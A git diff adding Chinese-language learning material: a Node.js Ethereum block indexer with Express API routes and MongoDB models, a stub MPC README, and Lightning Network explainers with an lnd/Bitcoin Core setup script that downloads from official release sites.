+
+## 功能特点
+
+- 实时同步区块数据
+- 解析交易信息
+- 数据持久化存储
+- 提供查询API接口
+
+## 技术栈
+
+- Node.js
+- Web3.js
+- Express.js
+- MongoDB
+
+## 项目结构
+
+```
+├── src/
+│   ├── indexer/        # 索引器核心逻辑
+│   ├── models/         # 数据模型
+│   ├── api/            # API接口
+│   └── utils/          # 工具函数
+├── config/            # 配置文件
+└── tests/            # 测试文件
+```
+
+## 快速开始
+
+1. 安装依赖
+```bash
+npm install
+```
+
+2. 配置环境变量
+```bash
+cp .env.example .env
+# 编辑.env文件，设置必要的配置项
+```
+
+3. 启动项目
+```bash
+npm start
+```
+
+## API文档
+
+### 获取区块信息
+```
+GET /api/block/:blockNumber
+```
+
+### 获取交易信息
+```
+GET /api/transaction/:txHash
+```
+
+### 获取地址信息
+```
+GET /api/address/:address
+```
+
+## 开发计划
+
+- [ ] 实现基础区块同步功能
+- [ ] 实现交易解析功能
+- [ ] 实现数据存储功能
+- [ ] 实现API接口
+- [ ] 添加测试用例
+- [ ] 优化性能
+- [ ] 添加监控功能
+
+## 注意事项
+
+1. 确保有可用的以太坊节点
+2. 注意数据同步的性能优化
+3. 建议使用索引优化查询性能
+
+## 参考资料
+
+- [Web3.js文档](https://web3js.readthedocs.io/)
+- [以太坊JSON-RPC API](https://eth.wiki/json-rpc/API)
+- [MongoDB文档](https://docs.mongodb.com/)
\ No newline at end of file
diff --git a/basic/83-blockchain-indexer/package.json b/basic/83-blockchain-indexer/package.json
new file mode 100644
index 000000000..d338c8118
--- /dev/null
+++ b/basic/83-blockchain-indexer/package.json
@@ -0,0 +1,22 @@
+{
+  "name": "blockchain-indexer",
+  "version": "1.0.0",
+  "description": "A simple blockchain indexer for learning purposes",
+  "main": "src/index.js",
+  "scripts": {
+    "start": "node src/index.js",
+    "dev": "nodemon src/index.js",
+    "test": "jest"
+  },
+  "dependencies": {
+    "web3": "^1.9.0",
+    "express": "^4.18.2",
+    "mongoose": "^7.0.3",
+    "dotenv": "^16.0.3",
+    "winston": "^3.8.2"
+  },
+  "devDependencies": {
+    "jest": "^29.5.0",
+    "nodemon": "^2.0.22"
+  }
+}
\ No newline at end of file
diff --git a/basic/83-blockchain-indexer/src/api/routes.js b/basic/83-blockchain-indexer/src/api/routes.js
new file mode 100644
index 000000000..664b911e7
--- /dev/null
+++ b/basic/83-blockchain-indexer/src/api/routes.js
@@ -0,0 +1,217 @@
+const express = require('express');
+const router = express.Router();
+const Block = require('../models/Block');
+
+// 获取区块信息
+router.get('/block/:blockNumber', async (req, res) => {
+  try {
+    const blockNumber = parseInt(req.params.blockNumber);
+    const blockInfo = await Block.findOne({ number: blockNumber });
+    
+    if (!blockInfo) {
+      return res.status(404).json({
+        success: false,
+        error: '区块未找到'
+      });
+    }
+
+    res.json({
+      success: true,
+      data: blockInfo
+    });
+  } catch (error) {
+    res.status(500).json({
+      success: false,
+      error: error.message
+    });
+  }
+});
+
+// 获取交易信息
+router.get('/transaction/:txHash', async (req, res) => {
+  try {
+    const txHash = req.params.txHash;
+    const block = await Block.findOne({ 'transactions.hash': txHash });
+    
+    if (!block) {
+      return res.status(404).json({
+        success: false,
+        error: '交易未找到'
+      });
+    }
+
+    const txInfo = block.transactions.find(tx => tx.hash === txHash);
+    res.json({
+      success: true,
+      data: txInfo
+    });
+  } catch (error) {
+    res.status(500).json({
+      success: false,
+      error: error.message
+    });
+  }
+});
+
+// 获取地址的交易历史
+router.get('/address/:address/transactions', async (req, res) => {
+  try {
+    const address = req.params.address.toLowerCase();
+    const page = parseInt(req.query.page) || 1;
+    const limit = parseInt(req.query.limit) || 10;
+    const skip = (page - 1) * limit;
+    
+    const query = {
+      $or: [
+        { 'transactions.from': address },
+        { 'transactions.to': address }
+      ]
+    };
+    
+    const [blocks, total] = await Promise.all([
+      Block.find(query)
+        .sort({ number: -1 })
+        .skip(skip)
+        .limit(limit),
+      Block.countDocuments(query)
+    ]);
+
+    const transactions = blocks.reduce((acc, block) => {
+      return acc.concat(
+        block.transactions.filter(tx =>
+          tx.from.toLowerCase() === address ||
+          (tx.to && tx.to.toLowerCase() === address)
+        )
+      );
+    }, []);
+    
+    res.json({
+      success: true,
+      data: {
+        transactions,
+        pagination: {
+          page,
+          limit,
+          total
+        }
+      }
+    });
+  } catch (error) {
+    res.status(500).json({
+      success: false,
+      error: error.message
+    });
+  }
+});
+
+// 获取最新的区块列表
+router.get('/blocks/latest', async (req, res) => {
+  try {
+    const limit = parseInt(req.query.limit) || 10;
+    const blocks = await Block.find()
+      .sort({ number: -1 })
+      .limit(limit)
+      .select('-transactions');
+    
+    res.json({
+      success: true,
+      data: blocks
+    });
+  } catch (error) {
+    res.status(500).json({
+      success: false,
+      error: error.message
+    });
+  }
+});
+
+// 获取最新的交易列表
+router.get('/transactions/latest', async (req, res) => {
+  try {
+    const limit = parseInt(req.query.limit) || 10;
+    const blocks = await Block.find()
+      .sort({ number: -1 })
+      .limit(Math.ceil(limit / 2))
+      .select('transactions');
+    
+    const transactions = blocks.reduce((acc, block) => {
+      return acc.concat(block.transactions);
+    }, []).slice(0, limit);
+    
+    res.json({
+      success: true,
+      data: transactions
+    });
+  } catch (error) {
+    res.status(500).json({
+      success: false,
+      error: error.message
+    });
+  }
+});
+
+// 搜索功能（支持区块号、交易哈希、地址）
+router.get('/search/:query', async (req, res) => {
+  try {
+    const query = req.params.query;
+    let result = {
+      type: '',
+      data: null
+    };
+
+    // 尝试作为区块号搜索
+    if (/^\d+$/.test(query)) {
+      const block = await Block.findOne({ number: parseInt(query) });
+      if (block) {
+        result = { type: 'block', data: block };
+      }
+    }
+    
+    // 尝试作为交易哈希搜索
+    if (!result.data && /^0x[a-fA-F0-9]{64}$/.test(query)) {
+      const block = await Block.findOne({ 'transactions.hash': query });
+      if (block) {
+        const transaction = block.transactions.find(tx => tx.hash === query);
+        if (transaction) {
+          result = { type: 'transaction', data: transaction };
+        }
+      }
+    }
+    
+    // 尝试作为地址搜索
+    if (!result.data && /^0x[a-fA-F0-9]{40}$/.test(query)) {
+      const address = query.toLowerCase();
+      const blocks = await Block.find({
+        $or: [
+          { 'transactions.from': address },
+          { 'transactions.to': address }
+        ]
+      }).limit(10);
+      
+      if (blocks.length > 0) {
+        const transactions = blocks.reduce((acc, block) => {
+          return acc.concat(
+            block.transactions.filter(tx =>
+              tx.from.toLowerCase() === address ||
+              (tx.to && tx.to.toLowerCase() === address)
+            )
+          );
+        }, []);
+        result = { type: 'address', data: transactions };
+      }
+    }
+    
+    res.json({
+      success: true,
+      data: result
+    });
+  } catch (error) {
+    res.status(500).json({
+      success: false,
+      error: error.message
+    });
+  }
+});
+
+
+module.exports = router;
\ No newline at end of file
diff --git a/basic/83-blockchain-indexer/src/api/routes/index.js b/basic/83-blockchain-indexer/src/api/routes/index.js
new file mode 100644
index 000000000..2ce5c8ecd
--- /dev/null
+++ b/basic/83-blockchain-indexer/src/api/routes/index.js
@@ -0,0 +1,95 @@
+const express = require('express');
+const { Block } = require('../../utils/db');
+
+function setupRoutes(app) {
+  const router = express.Router();
+
+  // 获取最新区块
+  router.get('/blocks/latest', async (req, res) => {
+    try {
+      const block = await Block.findOne().sort({ number: -1 });
+      res.json(block);
+    } catch (error) {
+      res.status(500).json({ error: '获取最新区块失败' });
+    }
+  });
+
+  // 根据区块号获取区块
+  router.get('/blocks/:number', async (req, res) => {
+    try {
+      const block = await Block.findOne({ number: parseInt(req.params.number) });
+      if (!block) {
+        return res.status(404).json({ error: '区块未找到' });
+      }
+      res.json(block);
+    } catch (error) {
+      res.status(500).json({ error: '获取区块失败' });
+    }
+  });
+
+  // 根据区块哈希获取区块
+  router.get('/blocks/hash/:hash', async (req, res) => {
+    try {
+      const block = await Block.findOne({ hash: req.params.hash });
+      if (!block) {
+        return res.status(404).json({ error: '区块未找到' });
+      }
+      res.json(block);
+    } catch (error) {
+      res.status(500).json({ error: '获取区块失败' });
+    }
+  });
+
+  // 获取交易列表
+  router.get('/transactions', async (req, res) => {
+    try {
+      const page = parseInt(req.query.page) || 1;
+      const limit = parseInt(req.query.limit) || 10;
+      
+      const blocks = await Block.find()
+        .sort({ number: -1 })
+        .limit(limit)
+        .skip((page - 1) * limit);
+
+      const transactions = blocks.reduce((acc, block) => {
+        return acc.concat(block.transactions);
+      }, []);
+
+      res.json(transactions);
+    } catch (error) {
+      res.status(500).json({ error: '获取交易列表失败' });
+    }
+  });
+
+  // 根据地址获取交易
+  router.get('/transactions/address/:address', async (req, res) => {
+    try {
+      const address = req.params.address.toLowerCase();
+      const blocks = await Block.find({
+        $or: [
+          { 'transactions.from': address },
+          { 'transactions.to': address }
+        ]
+      });
+
+      const transactions = blocks.reduce((acc, block) => {
+        return acc.concat(
+          block.transactions.filter(tx =>
+            tx.from.toLowerCase() === address ||
+            (tx.to && tx.to.toLowerCase() === address)
+          )
+        );
+      }, []);
+
+      res.json(transactions);
+    } catch (error) {
+      res.status(500).json({ error: '获取地址交易失败' });
+    }
+  });
+
+  app.use('/api', router);
+}
+
+module.exports = {
+  setupRoutes
+};
\ No newline at end of file
diff --git a/basic/83-blockchain-indexer/src/index.js b/basic/83-blockchain-indexer/src/index.js
new file mode 100644
index 000000000..2c1652240
--- /dev/null
+++ b/basic/83-blockchain-indexer/src/index.js
@@ -0,0 +1,29 @@
+require('dotenv').config();
+const express = require('express');
+const Web3 = require('web3');
+const { connectDB } = require('./utils/db');
+const { setupIndexer } = require('./indexer');
+const { setupRoutes } = require('./api/routes');
+
+const app = express();
+const PORT = process.env.PORT || 3000;
+
+// 连接到以太坊节点
+const web3 = new Web3(process.env.ETH_NODE_URL || 'http://localhost:8545');
+
+// 初始化数据库连接
+connectDB();
+
+// 设置中间件
+app.use(express.json());
+
+// 设置路由
+setupRoutes(app);
+
+// 启动索引器
+setupIndexer(web3);
+
+// 启动服务器
+app.listen(PORT, () => {
+  console.log(`Server is running on port ${PORT}`);
+});
\ No newline at end of file
diff --git a/basic/83-blockchain-indexer/src/indexer/index.js b/basic/83-blockchain-indexer/src/indexer/index.js
new file mode 100644
index 000000000..6ca441aba
--- /dev/null
+++ b/basic/83-blockchain-indexer/src/indexer/index.js
@@ -0,0 +1,81 @@
+const { Block } = require('../utils/db');
+
+let latestBlock = 0;
+
+async function setupIndexer(web3) {
+  try {
+    // 获取最新区块号
+    const lastBlock = await Block.findOne().sort({ number: -1 });
+    latestBlock = lastBlock ? lastBlock.number : 0;
+
+    // 启动区块同步
+    startSync(web3);
+
+    // 监听新区块
+    subscribeToNewBlocks(web3);
+  } catch (error) {
+    console.error('索引器初始化失败:', error);
+  }
+}
+
+async function startSync(web3) {
+  try {
+    const currentBlock = await web3.eth.getBlockNumber();
+    
+    // 从最新的已索引区块开始同步
+    for (let i = latestBlock + 1; i <= currentBlock; i++) {
+      await processBlock(web3, i);
+    }
+  } catch (error) {
+    console.error('区块同步失败:', error);
+  }
+}
+
+async function subscribeToNewBlocks(web3) {
+  web3.eth.subscribe('newBlockHeaders', async (error, blockHeader) => {
+    if (error) {
+      console.error('新区块订阅失败:', error);
+      return;
+    }
+
+    await processBlock(web3, blockHeader.number);
+  });
+}
+
+async function processBlock(web3, blockNumber) {
+  try {
+    const block = await web3.eth.getBlock(blockNumber, true);
+    
+    // 解析区块数据
+    const blockData = {
+      number: block.number,
+      hash: block.hash,
+      parentHash: block.parentHash,
+      timestamp: block.timestamp,
+      transactions: block.transactions.map(tx => ({
+        hash: tx.hash,
+        from: tx.from,
+        to: tx.to,
+        value: tx.value,
+        gas: tx.gas,
+        gasPrice: tx.gasPrice,
+        input: tx.input
+      }))
+    };
+
+    // 存储区块数据
+    await Block.findOneAndUpdate(
+      { number: blockData.number },
+      blockData,
+      { upsert: true }
+    );
+
+    console.log(`区块 ${blockNumber} 已处理`);
+  } catch (error) {
+    console.error(`处理区块 ${blockNumber} 失败:`, error);
+  }
+}
+
+module.exports = {
+  setupIndexer
+};
\ No newline at end of file
diff --git a/basic/83-blockchain-indexer/src/models/Block.js b/basic/83-blockchain-indexer/src/models/Block.js
new file mode 100644
index 000000000..a30023cab
--- /dev/null
+++ b/basic/83-blockchain-indexer/src/models/Block.js
@@ -0,0 +1,14 @@
+const mongoose = require('mongoose');
+
+const blockSchema = new mongoose.Schema({
+  number: { type: Number, required: true, unique: true },
+  hash: { type: String, required: true, unique: true },
+  parentHash: { type: String, required: true },
+  timestamp: { type: Number, required: true },
+  transactions: [{ type: String }],
+  gasUsed: { type: Number },
+  gasLimit: { type: Number },
+  miner: { type: String }
+});
+
+module.exports = mongoose.model('Block', blockSchema);
\ No newline at end of file
diff --git a/basic/83-blockchain-indexer/src/utils/db.js b/basic/83-blockchain-indexer/src/utils/db.js
new file mode 100644
index 000000000..feae5ba65
--- /dev/null
+++ b/basic/83-blockchain-indexer/src/utils/db.js
@@ -0,0 +1,35 @@
+const mongoose = require('mongoose');
+
+// 连接MongoDB数据库
+async function connectDB() {
+  try {
+    const mongoURI = process.env.MONGODB_URI || 'mongodb://localhost:27017/blockchain-indexer';
+    await mongoose.connect(mongoURI);
+    console.log('MongoDB数据库连接成功');
+  } catch (error) {
+    console.error('MongoDB数据库连接失败:', error);
+    process.exit(1);
+  }
+}
+
+// 定义区块模型
+const Block = mongoose.model('Block', {
+  number: { type: Number, unique: true },
+  hash: { type: String, unique: true },
+  parentHash: String,
+  timestamp: Number,
+  transactions: [{
+    hash: String,
+    from: String,
+    to: String,
+    value: String,
+    gas: Number,
+    gasPrice: String,
+    input: String
+  }]
+});
+
+module.exports = {
+  connectDB,
+  Block
+};
\ No newline at end of file
diff --git a/basic/84-MPC/README.md b/basic/84-MPC/README.md
new file mode 100644
index 000000000..09359e692
--- /dev/null
+++ b/basic/84-MPC/README.md
@@ -0,0 +1,7 @@
+## MPC rust
+
+
+
+
+## 参考链接
+- https://medium.com/@olusojiobah/intro-to-mpc-and-its-implementation-with-rust-a1f8891f38a4
\ No newline at end of file
diff --git a/btc/Advanced/Lighting Network/README.md b/btc/Advanced/Lighting Network/README.md
new file mode 100644
index 000000000..01af411ce
--- /dev/null
+++ b/btc/Advanced/Lighting Network/README.md	
@@ -0,0 +1,40 @@
+**闪电网络**（Lightning Network）是一种比特币的第二层支付协议，旨在通过减少链上交易数量，实现快速、低成本的交易。这一网络在比特币区块链之上构建，旨在解决比特币当前的扩展性和交易速度问题。以下是对闪电网络的核心概念及其功能的详细介绍：
+
+### 1. **核心概念：支付通道**
+
+闪电网络的基本运行机制是通过支付通道。具体操作如下：
+   - **创建支付通道**：两方需要频繁交易时，可以通过创建支付通道来进行。这需要双方向一个多签名钱包存入初始资金，并记录在区块链上作为一次链上交易。
+   - **链下交易**：通道建立后，双方可以直接交换签名的余额更新，这些更新是链下进行的，不需要经过全网确认，从而大大提高了交易速度。
+   - **关闭通道**：当两方不再需要继续交易时，可以选择关闭通道。此时通道的最终余额状态会作为一次链上交易记录在比特币区块链上。这样可以极大减少区块链的负担，因为多笔交易只需记录两次链上交易（开通和关闭）。
+
+### 2. **闪电网络中的交易机制**
+
+在闪电网络中，通道内的交易是即时确认的。具体过程如下：
+   - **增量余额更新**：每次链下交易只更新支付通道中的余额状态，而不广播至比特币区块链。
+   - **去中心化的信任交易**：每次状态更新都由双方签名确认，确保任何一方都无法篡改交易余额，避免了一方试图多拿资金的可能。
+
+### 3. **跨通道支付的路由**
+
+闪电网络不仅限于两个通道用户间的直接支付，还支持多跳支付，使得资金能够通过多个通道转账给目标用户。具体过程如下：
+   - **路径查找**：如果两个用户之间没有直接的通道，网络会寻找合适的路径通过其他节点完成支付。
+   - **支付的原子性**：只有在路径中所有中间节点同意并完成自己的部分支付时，整个支付才会完成，确保资金在多跳过程中不被截留。
+
+### 4. **主要优势**
+
+   - **扩展性**：通过链下交易的方式，闪电网络大幅减少了比特币区块链的负载，理论上可以支持每秒数百万次交易。
+   - **降低费用**：大部分交易是链下进行的，交易费用很低，仅需链上交易费用的一小部分。
+   - **即时支付**：闪电网络的交易几乎是即时完成的，使其适用于日常消费，而不像链上交易那样可能需要数分钟。
+
+### 5. **挑战与局限性**
+
+   - **流动性要求**：为了确保大额交易畅通，路径中的每个节点必须在通道中拥有足够的资金，否则可能会阻塞交易。
+   - **通道管理**：用户需要手动开通和关闭通道，每次操作都需支付链上费用，因此频繁操作的成本较高。
+   - **安全风险**：虽然闪电网络安全性较高，但它并非没有风险。节点需要保持在线以防止攻击者试图广播过时的交易。
+
+### 6. **闪电网络的应用场景及未来**
+
+   - **小额支付**：由于费用低廉，闪电网络非常适合进行小额支付，如内容打赏、小额捐赠和应用内购买等。
+   - **商户和零售**：交易速度接近实时，闪电网络能使比特币成为零售、餐饮等日常消费的理想支付方式。
+   - **跨境支付**：它能快速且低成本地实现国际汇款，为跨境支付提供了一种便利的途径。
+
+闪电网络随着开发和用户的持续增长在不断发展。它为解决比特币的扩展性提供了一个极具前景的方案，但要充分发挥其潜力，还需要一个可靠且强大的节点网络支持。
\ No newline at end of file
diff --git a/btc/Advanced/Lighting Network/config/index.md b/btc/Advanced/Lighting Network/config/index.md
new file mode 100644
index 000000000..ed0a9da71
--- /dev/null
+++ b/btc/Advanced/Lighting Network/config/index.md	
@@ -0,0 +1,106 @@
+要在比特币节点上配置和运行闪电网络节点，需要执行以下步骤。配置过程涉及安装比特币全节点、下载闪电网络节点软件（如 `lnd` 或 `c-lightning`），并设置基本的连接和通道参数。以下是详细步骤：
+
+### 步骤 1：安装比特币全节点
+
+1. **下载比特币核心（Bitcoin Core）**：
+   - 在 [比特币官网](https://bitcoin.org/en/download)下载最新版 Bitcoin Core 软件，并按照官方文档安装。
+   
+2. **启动比特币节点**：
+   - 使用以下命令启动比特币节点：
+     ```bash
+     bitcoind -daemon
+     ```
+   - 节点需要同步区块链数据，建议启用 `pruned` 模式，以节省存储空间。
+   
+3. **修改 `bitcoin.conf` 配置文件**：
+   - 打开 `bitcoin.conf` 文件（通常位于 `~/.bitcoin/bitcoin.conf`）并添加以下内容以支持闪电网络：
+     ```ini
+     server=1
+     txindex=1
+     rpcuser=your_rpc_user
+     rpcpassword=your_rpc_password
+     ```
+
+### 步骤 2：选择并安装闪电网络节点软件
+
+目前，主流的闪电网络实现有 `lnd`（Lightning Labs）、`c-lightning`（Blockstream）和 `eclair`（ACINQ）。以 `lnd` 为例：
+
+1. **下载并安装 `lnd`**：
+   - 可以在 [GitHub](https://github.com/lightningnetwork/lnd) 下载最新版本的 `lnd`。
+   - 安装完 `lnd` 后，使用以下命令启动 `lnd` 服务：
+     ```bash
+     lnd
+     ```
+
+2. **配置 `lnd.conf` 文件**：
+   - 在 `~/.lnd/lnd.conf` 文件中设置基本配置，连接到比特币节点：
+     ```ini
+     [Application Options]
+     alias=YourNodeAlias    # 设置节点的别名
+     color=#FF0000          # 设置节点颜色（十六进制）
+
+     [Bitcoin]
+     bitcoin.active=1
+     bitcoin.mainnet=1      # 或 bitcoin.testnet=1 用于测试网
+     bitcoin.node=bitcoind
+
+     [Bitcoind]
+     bitcoind.rpcuser=your_rpc_user
+     bitcoind.rpcpass=your_rpc_password
+     bitcoind.rpchost=localhost
+     bitcoind.zmqpubrawblock=tcp://127.0.0.1:28332
+     bitcoind.zmqpubrawtx=tcp://127.0.0.1:28333
+     ```
+
+### 步骤 3：启动并初始化闪电网络节点
+
+1. **初始化闪电网络节点**：
+   - 使用以下命令启动 `lnd` 并生成钱包：
+     ```bash
+     lncli create
+     ```
+   - 你将被要求设置密码并备份助记词，这对于保护你的资金非常重要。
+
+2. **启动和连接**：
+   - 启动 `lnd` 服务后，可以使用 `lncli` 命令管理和查询节点状态。例如：
+     ```bash
+     lncli getinfo
+     ```
+
+### 步骤 4：建立闪电网络支付通道
+
+1. **获取资金**：
+   - 首先为节点充值比特币。可以使用 `lncli newaddress` 获取节点地址，然后从外部钱包转账。
+
+2. **打开通道**：
+   - 使用以下命令来打开通道：
+     ```bash
+     lncli openchannel --node_key=对方节点公钥 --local_amt=通道资金
+     ```
+   - 其中 `node_key` 是对方节点的公钥，`local_amt` 是设置的通道资金数量。
+
+3. **监控通道状态**：
+   - 打开通道后，可以使用 `lncli listchannels` 查看通道状态，并确保通道正常运行。
+
+### 步骤 5：管理和使用闪电网络节点
+
+1. **发送和接收支付**：
+   - 可以通过 `lncli` 发起支付，或生成支付请求让他人向你支付。
+   - 例如，生成收款请求：
+     ```bash
+     lncli addinvoice --amt=金额
+     ```
+   - 通过支付请求二维码或字符串，其他用户可以通过他们的闪电节点完成支付。
+
+2. **关闭通道**：
+   - 如果不再需要通道，可以通过以下命令手动关闭：
+     ```bash
+     lncli closechannel --funding_txid=交易ID --output_index=输出索引
+     ```
+
+3. **备份和恢复**：
+   - 为了防止意外情况，定期备份数据至安全位置。`lnd` 支持通道备份，可以使用 `lncli exportchanbackup` 导出备份文件。
+
+### 小结
+
+通过以上步骤，您可以成功配置并运行闪电网络节点。闪电网络通过支付通道的机制，降低比特币链上负载，实现了低成本、快速的小额支付。
\ No newline at end of file
diff --git a/btc/Advanced/Lighting Network/config/index.sh b/btc/Advanced/Lighting Network/config/index.sh
new file mode 100644
index 000000000..009fc15ba
--- /dev/null
+++ b/btc/Advanced/Lighting Network/config/index.sh	
@@ -0,0 +1,79 @@
+
+### 设置并启动闪电网络节点的 Shell 脚本
+
+```bash
+#!/bin/bash
+
+# 设置变量
+BITCOIN_USER="your_rpc_user"                # 替换为你的比特币 RPC 用户名
+BITCOIN_PASSWORD="your_rpc_password"        # 替换为你的比特币 RPC 密码
+BITCOIN_CONF_PATH="$HOME/.bitcoin/bitcoin.conf"
+LND_CONF_PATH="$HOME/.lnd/lnd.conf"
+
+# 步骤 1：安装必要的依赖项
+echo "Updating system and installing dependencies..."
+sudo apt-get update -y && sudo apt-get upgrade -y
+sudo apt-get install -y wget jq unzip
+
+# 步骤 2：下载并安装 Bitcoin Core
+echo "Downloading and installing Bitcoin Core..."
+wget https://bitcoin.org/bin/bitcoin-core-24.0.1/bitcoin-24.0.1-x86_64-linux-gnu.tar.gz
+tar -xzf bitcoin-24.0.1-x86_64-linux-gnu.tar.gz
+sudo install -m 0755 -o root -t /usr/local/bin bitcoin-24.0.1/bin/*
+
+# 步骤 3：配置比特币节点
+echo "Configuring Bitcoin node..."
+mkdir -p "$HOME/.bitcoin"
+cat <<EOF > "$BITCOIN_CONF_PATH"
+server=1
+txindex=1
+prune=600                   # 如果存储空间有限
+rpcuser=$BITCOIN_USER
+rpcpassword=$BITCOIN_PASSWORD
+EOF
+
+# 启动比特币节点
+echo "Starting Bitcoin node..."
+bitcoind -daemon
+sleep 10  # 等待节点启动
+
+# 步骤 4：下载并安装 lnd
+echo "Downloading and installing lnd..."
+wget https://github.com/lightningnetwork/lnd/releases/download/v0.15.0-beta/lnd-linux-amd64-v0.15.0-beta.tar.gz
+tar -xzf lnd-linux-amd64-v0.15.0-beta.tar.gz
+sudo install -m 0755 -o root -t /usr/local/bin lnd-linux-amd64-*/lnd
+sudo install -m 0755 -o root -t /usr/local/bin lnd-linux-amd64-*/lncli
+
+# 步骤 5：配置 lnd 节点
+echo "Configuring lnd node..."
+mkdir -p "$HOME/.lnd"
+cat <<EOF > "$LND_CONF_PATH"
+[Application Options]
+alias=YourNodeAlias          # 设置节点别名
+color=#FF0000                # 设置节点颜色
+
+[Bitcoin]
+bitcoin.active=1
+bitcoin.mainnet=1
+bitcoin.node=bitcoind
+
+[Bitcoind]
+bitcoind.rpcuser=$BITCOIN_USER
+bitcoind.rpcpass=$BITCOIN_PASSWORD
+bitcoind.rpchost=localhost
+bitcoind.zmqpubrawblock=tcp://127.0.0.1:28332
+bitcoind.zmqpubrawtx=tcp://127.0.0.1:28333
+EOF
+
+# 步骤 6：启动 lnd 节点
+echo "Starting lnd node..."
+lnd --configfile="$LND_CONF_PATH" &
+
+# 步骤 7：等待 lnd 启动后初始化钱包
+sleep 15  # 等待 lnd 完全启动
+echo "Creating lnd wallet..."
+echo "Please follow the instructions to create a wallet for your lnd node:"
+lncli create
+
+echo "Lightning Network node setup is complete!"
+```
\ No newline at end of file
diff --git a/btc/Advanced/Lighting Network/technical/imgs/offchain.png b/btc/Advanced/Lighting Network/technical/imgs/offchain.png
new file mode 100644
index 000000000..0061356df
Binary files /dev/null and b/btc/Advanced/Lighting Network/technical/imgs/offchain.png differ
diff --git a/btc/Advanced/Lighting Network/technical/imgs/open.png b/btc/Advanced/Lighting Network/technical/imgs/open.png
new file mode 100644
index 000000000..2062ebcd7
Binary files /dev/null and b/btc/Advanced/Lighting Network/technical/imgs/open.png differ
diff --git a/btc/Advanced/Lighting Network/technical/imgs/route.png b/btc/Advanced/Lighting Network/technical/imgs/route.png
new file mode 100644
index 000000000..7c2f110dd
Binary files /dev/null and b/btc/Advanced/Lighting Network/technical/imgs/route.png differ
diff --git a/btc/Advanced/Lighting Network/technical/imgs/transfer.png b/btc/Advanced/Lighting Network/technical/imgs/transfer.png
new file mode 100644
index 000000000..445ce7543
Binary files /dev/null and b/btc/Advanced/Lighting Network/technical/imgs/transfer.png differ
diff --git a/btc/Advanced/Lighting Network/technical/index.md b/btc/Advanced/Lighting Network/technical/index.md
new file mode 100644
index 000000000..d3bca6900
--- /dev/null
+++ b/btc/Advanced/Lighting Network/technical/index.md	
@@ -0,0 +1,75 @@
+闪电网络（Lightning Network，LN）是一种基于比特币区块链的**第二层支付协议**，旨在解决比特币主网的可扩展性和交易效率问题。它通过引入**支付通道**和**离线交易机制**，极大地减少了对链上交易的依赖，从而提升交易速度和降低成本。以下是闪电网络的主要技术原理。
+
+
+### 1. **支付通道的概念**
+
+支付通道是指两个用户之间创建的**链下交易**路径，允许双方在通道内多次转账，而无需每笔交易都记录在主链上。只在开通和关闭通道时需要链上交易，以确保资金安全。这种方式被称为“链下交易”，通过支付通道，双方可以在不影响区块链的情况下快速、安全地互相转账。
+
+- **开通通道**：用户 A 和用户 B 向一个多重签名地址存入比特币，该地址需要两方的签名才能支出资金。
+- **更新余额**：两方可以通过交换新的余额分配签名，来更新支付通道的余额，而不进行链上记录。
+- **关闭通道**：当用户希望关闭通道时，最后的余额分配会提交到链上，进行最终结算。
+
+
+![offchain transaction](./imgs/offchain.png)
+
+### 2. **哈希时间锁定合约（HTLC）**
+
+HTLC 是闪电网络中的关键技术，用于确保链下交易的安全性。它通过**哈希锁定和时间锁定**的组合，让资金只有在特定条件满足时才会被转移，从而防止一方在交易完成前恶意撤回资金。
+
+- **哈希锁定**：支付者生成一个随机数，并将其哈希值发送给接收者。接收者只有在知道该哈希值的原始输入时，才能解锁资金。
+- **时间锁定**：如果接收者未在指定时间内解锁资金，支付者可以撤销交易。这防止了接收者长时间不领取资金的情况。
+
+HTLC 使闪电网络能够跨越多个节点转账，从而形成**跨通道的支付路径**，实现了网络的互联。
+
+### 3. **路由支付**
+
+在闪电网络中，支付不需要直接的支付通道。即使没有直接的链下通道，用户也可以通过多个中介节点实现转账。闪电网络中的节点将自动寻找**最优路径**来完成支付，这一过程被称为路由。
+
+- **多跳支付**：通过多个节点传递支付，用户可以利用其他节点作为中转站发送资金。
+- **路径发现和路由选择**：闪电网络使用路由协议（如 Onion 路由）找到最佳路径，确保资金在最短路径内传输，并提高了交易隐私性。
+
+
+![route pay](./imgs/route.png)
+
+### 4. **即时交易与低费用**
+
+与比特币区块链的**确认时间**相比，闪电网络中的链下交易几乎是即时的，因为交易只需双方签名并在通道中达成一致。而且，闪电网络的交易费用通常较低，仅需支付通道的维护费用或微量的路由费用，这使得其适合处理**小额支付**和**高频支付**。
+
+### 5. **去中心化网络结构**
+
+闪电网络的设计是去中心化的，节点自由加入和退出，且不依赖于单一服务器或第三方。用户既可以选择与其他节点建立通道，也可以选择关闭通道。每个节点都可以自主设置路由费用，以激励更多节点参与进来，从而扩大网络的支付能力和覆盖范围。
+
+### 6. **链下结算和通道关闭**
+
+闪电网络中的所有链下交易都是基于承诺的状态更新协议。只有当通道关闭时，链下的最后交易状态才会记录在链上：
+
+- **双向承诺**：在链下交易的过程中，任何一方都可以选择关闭通道，最后的余额状态将提交到链上，并进行结算。
+- **惩罚机制**：如果一方试图在链上提交过期的余额分配，另一方可以提交最新的状态，没收对方的余额。这种机制保证了用户不会恶意提交无效交易。
+
+### 7. **闪电网络的优点和挑战**
+
+**优点**：
+- **扩展性**：通过链下交易和支付通道，大大减轻了区块链的负担。
+- **低费用**：只在开通、关闭通道时支付链上交易费用，其余链下交易几乎无费用。
+- **隐私性**：交易不直接记录在区块链上，增强了交易隐私性。
+- **实时交易**：链下交易几乎是即时完成的。
+
+**挑战**：
+- **通道流动性**：当通道内的资金耗尽时，需要重新注资或重新开通新通道。
+- **网络连通性**：尽管闪电网络允许通过多跳支付进行路由，但找到稳定的路径可能会变得复杂。
+- **脱机风险**：由于是链下交易，断开网络或节点意外退出可能会影响交易的正常进行。
+
+### 示例：使用闪电网络支付流程
+
+1. **Alice 和 Bob 开通支付通道**：Alice 和 Bob 创建一个多重签名地址，并将 5 BTC 存入其中。
+![open channel](./imgs/open.png)
+
+2. **支付流程**：Alice 想给 Charlie 支付 1 BTC。Alice 和 Charlie 没有直接的通道，但 Bob 与 Charlie 之间有一个通道。因此，Alice 可以通过 Bob 将这笔金额转给 Charlie。
+3. **HTLC 保护**：Alice 创建一个 HTLC，将 1 BTC 锁定到 Bob，要求 Charlie 提供随机数来解锁。Bob 通过 Charlie 完成支付。
+4. **支付完成**：Charlie 提供随机数，Bob 获得资金解锁权，并最终完成 Alice 到 Charlie 的支付。
+![transfer](./imgs/transfer.png)
+
+
+### 总结
+
